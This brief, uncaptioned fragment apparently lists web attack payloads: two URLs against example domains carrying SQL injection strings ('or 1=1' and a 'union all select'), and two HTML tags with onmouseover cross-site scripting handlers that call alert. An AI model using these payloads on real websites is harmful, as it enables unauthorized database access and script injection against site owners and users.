http://www.example.com/index.php?current_subsection=2 or 1=1/*
http://www.example.net/index.php?current_subsection=2%20union%20all%20select blah from content/*

<B onmousemver="javascript:alert('lol')">Pizza pie</B>
<OL onmouseover="alert('lol')">I like it</OL>